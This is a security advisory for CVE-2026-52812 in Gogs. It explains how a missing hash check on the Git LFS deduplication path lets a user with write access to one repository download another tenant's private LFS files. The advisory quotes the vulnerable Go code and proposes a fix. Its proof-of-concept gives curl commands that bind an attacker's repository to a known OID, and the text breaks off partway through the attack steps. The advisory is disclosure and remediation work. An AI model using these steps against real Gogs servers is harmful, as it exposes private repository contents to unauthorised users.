CVE-2026-52812
Gogs: LFS dedupe path leaks private repo content across tenants
Summary
Summary Git LFS storage is content-addressed by OID alone (` / / / `) but per-repo authorization lives in the `lfs_object` table keyed `(repo_id, oid)`. `serveUpload` skips re-uploading when the OID file already exists on disk and inserts a new `(repo_id, oid)` row pointing at it **without verifying the request body hashes to the OID being claimed**. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint. Details Dedupe shortcut at `internal/lfsx/storage.go:79-82`: ```go if fi, err := os.Stat(fpath); err == nil { _, _ = io.Copy(io.Discard, rc) return fi.Size(), nil // ← returns success with no hash check } ``` Hash verification at `internal/lfsx/storage.go:106-108` only runs in the *new-file* branch — the dedupe path returns earlier. `serveUpload` (`internal/route/lfs/basic.go:78-114`) trusts that success and inserts the per-repo binding: ```go _, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid) // per-repo if err == nil { /* already linked, drain & return 200 */ } written, err := s.Upload(oid, c.Req.Request.Body) err = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage()) ``` `CreateLFSObject` is an unconditional `INSERT` on `(repo_id, oid)` with no check that the OID is referenced by the requesting repo's git history. `serveDownload` at `internal/route/lfs/basic.go:42-72` only consults the per-repo row, then streams from the shared content-addressed file. Suggested fix 1. In `LocalStorage.Upload`, when `os.Stat(fpath) == nil`, hash the request body via `io.TeeReader` and `ErrOIDMismatch` on disagreement — same code path as the new-file branch already uses. The "client retries after partial failure" use case still works; the retry just has to send the correct content. 2. Optional second layer: in `serveUpload`, refuse `CreateLFSObject` unless the OID is referenced by an LFS pointer in the requesting repo's refs. PoC Tested against gogs at HEAD `d7571322` (also reproduces on `v0.14.2`, paths are `internal/lfsutil/storage.go` and identical logic). ### Reproduction prerequisites - Running gogs ≥ 0.12.0 with `[lfs] ENABLED = true`. - Two accounts: `alice` (private repo `secrets`) and `bob` (any repo `bob/scratch`); bob has no access to `alice/secrets`. - An OID known to be present in `alice/secrets` — leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit). ### Setup (testbed simulation of the victim's prior state) ```sh GOGS=https://gogs.example ALICE_AUTH='-u alice:alice_password' BOB_AUTH='-u bob:bob_password' VICTIM_BYTES='victim secret content' OID=$(printf %s "$VICTIM_BYTES" | sha256sum | cut -d' ' -f1) SIZE=$(printf %s "$VICTIM_BYTES" | wc -c) # After this, file lives at / / / # and (alice/secrets, OID) row exists in lfs_object. printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \ -H 'Content-Type: application/octet-stream' \ -X PUT --data-binary @- \ "$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID" ``` ### Attack — bob has only `$OID`, not `$VICTIM_BYTES` ```sh unset VICTIM_BYTES # attacker has no idea what the file contains # 1. Confirm bob has no claim on $OID. curl -sS $BOB_AUTH \ -H 'Accept: application/vnd.git-lfs+json' \ -H 'Content-Type: application/vnd.git-lfs+json' \ -X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \ --data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}" # → "actions":{"error":{"code":404,"message":"Object does not exist"}} # 2. PUT garbage to bob's LFS endpoint. The on-disk OID file already exists # so LocalStorage.Upload takes the dedupe shortcut: drains the body # without hashing, returns alice's size; CreateLFSObject inserts (bob, OID). curl -sS $BOB_AUTH \ -H 'Content-Type: application/octet-stream' \
Affected packages
| Ecosystem | Package | Affected versions | Fixed versions |
|---|---|---|---|
| Go | gogs.io/gogs | — | 0.14.3 |
Remediation: Upgrade to 0.14.3 or later.
References
Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.
CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.
EPSS scores provided by the FIRST.org Exploit Prediction Scoring System.